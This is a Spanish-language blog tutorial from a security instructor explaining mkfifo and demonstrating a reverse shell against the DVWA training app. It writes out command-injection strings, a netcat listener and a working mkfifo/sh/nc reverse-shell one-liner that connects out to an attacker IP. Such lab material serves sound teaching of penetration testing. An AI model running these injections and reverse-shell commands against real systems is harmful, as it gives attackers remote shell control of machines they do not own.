Crear un Shell Inverso utilizando mkfifo

  • Posted on: 5 December 2014
  • By: ReYDeS

mkfifo crea un archivo especial FIFO con un nombre definido, un modo define los permisos del FIFO. Un archivo especial FIFO es similar a un “pipe” o tubería, exceptuando el hecho de ser creado de manera diferente. En lugar de ser un canal de comunicación anónima, un archivo especial FIFO es ingresado en el sistema de archivos llamando a mkfifo().

Una vez creado el archivo especial FIFO de esta manera, cualquier proceso puede abrirlo para lectura o escritura, de manera similar a un archivo ordinario. Sin embargo debe ser abierto simultaneamente en ambos lados antes de proceder a hacer cualquier operación de entrada o salida. Abrir un FIFO para lectura normalmente lo bloquea hasta el momento en el cual es abierto por otro proceso para escritura o viceversa. Existen archivos especiales FIFO para ser manejados sin bloqueo.

Un shell inverso permite obtener una shell interactiva desde el objetivo de evaluación hacia el sistema atacante. Para el siguiente ejemplo se utilizará DVWA.

Se ingresa a la opción “Command Execution” o Ejecución de Comandos ubicado en el panel izquierdo de DVWA, para realizar el siguiente ejemplo.

Se utiliza el comando "which" para localizar el comando “nc”, pues no necesariamente se encuentra instalado o disponible en algunos sistemas.

;which nc

En el sistema atacante se ejecuta netcat en modo atención para recibir la conexión originada desde el objetivo de evaluación.

$ sudo nc -n -vv -l -p 80

Se ejecuta netcat en el objetivo de evaluación para conectarse hacia el sistema del atacante.

;/bin/nc -n -v -e /bin/bash 192.168.0.18 80

El resultado no presenta la shell inversa. Esto es debido al no soporte de la opción “-e” por parte de la versión de netcat instalada en el objetivo del evaluación.

Para solucionar este inconveniente se creará y utilizará un archivo especial FIFO en combinación con otros comandos. El comando mkfifo creará el archivo especial de nombre “f”, luego se utiliza el comando cat sobre el archivo “f” para enviar por una tubería su contenido hacia el comando “sh”, la opción “-i” fuerza al shell a comportarse de manera interactiva. “2 >&1” envía la salida estándar y error estándar del comando precedente hacia el siguiente comando, para este escenario el comando “nc” el cual establecerá una conexión hacia el puerto 80 del atacante, para luego ser redireccionado al archivo especial FIFO “f”.


;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 192.168.0.18 80 >/tmp/f

Y en esta oportunidad si se obtiene una shell inversa en el sistema atacante.

Fuentes:

http://linux.die.net/man/3/mkfifo
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498
http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e...
http://dvwa.co.uk/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense